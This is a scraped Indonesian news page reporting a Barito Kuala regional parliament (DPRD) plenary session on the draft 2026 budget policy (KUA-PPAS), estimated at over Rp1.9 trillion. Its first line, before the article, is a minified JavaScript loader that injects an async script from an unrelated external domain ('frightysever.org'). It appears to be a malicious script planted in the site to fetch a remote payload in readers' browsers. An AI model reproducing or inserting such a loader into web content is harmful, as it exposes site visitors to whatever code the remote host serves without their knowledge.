(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Kuala (Batola) menggelar Rapat Paripurna ke-24 dalam rangka penyampaian Rancangan Kebijakan Umum Anggaran (KUA) serta Prioritas dan Plafon Anggaran Sementara (PPAS) Tahun Anggaran 2026, bertempat di Ruang Sidang Paripurna DPRD Batola, Lantai III, Jumat (18/07/2025).
Rapat paripurna dipimpin pimpinan DPRD Batola dan dihadiri Wakil Bupati Batola, Herman Susilo, bersama jajaran pejabat terkait.
Dalam sambutannya, Herman menyampaikan bahwa penyusunan Rancangan KUA dan PPAS APBD Tahun 2026 berpedoman pada Permendagri Nomor 77 Tahun 2020 tentang Pedoman Teknis Pengelolaan Keuangan Daerah, serta Rencana Kerja Pemerintah Daerah (RKPD) 2026. Dokumen tersebut juga memperhitungkan kondisi perekonomian dan kemampuan keuangan daerah.
Baca juga: Ketua DPRD Kapuas Ikuti Jalan Sehat Harkopnas ke-78 di Palangkaraya
“KUA dan PPAS yang disusun pada tahun 2025 ini akan menjadi landasan kesepakatan yang menentukan kinerja pemerintah daerah di tahun 2026. Penyusunannya dilakukan dengan mempertimbangkan berbagai faktor penting, dan tentunya harus disikapi dengan prinsip efektif serta efisien dalam penggunaan anggaran,” ujarnya.
Herman menyebut nilai APBD dalam rancangan sementara diperkirakan sebesar Rp1,9 triliun lebih. Kendati demikian, angka ini masih bersifat indikatif dan dapat berubah, mengingat Nota Keuangan RAPBN 2026 belum diajukan Presiden kepada DPR RI.
“Anggaran ini disusun secara moderat dan penuh kehati-hatian, tidak bersifat berlebihan. Harapan kami, rancangan ini dapat segera ditindaklanjuti melalui pembahasan bersama agar menjadi dokumen yang lebih sempurna,” tambahnya.
DPRD Batola melalui rapat paripurna ini menjadi wadah strategis untuk mengawal proses penyusunan kebijakan anggaran daerah agar lebih terarah, transparan, dan sesuai kebutuhan masyarakat.
Ke depan, DPRD bersama pemerintah daerah akan melakukan pembahasan mendalam terkait Rancangan KUA-PPAS tersebut, hingga nantinya ditetapkan menjadi dasar dalam penyusunan APBD Tahun Anggaran 2026.(www.kanalkalimantan.com/hms)
Reporter: Hms
Editor: Rdy
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
This website uses cookies.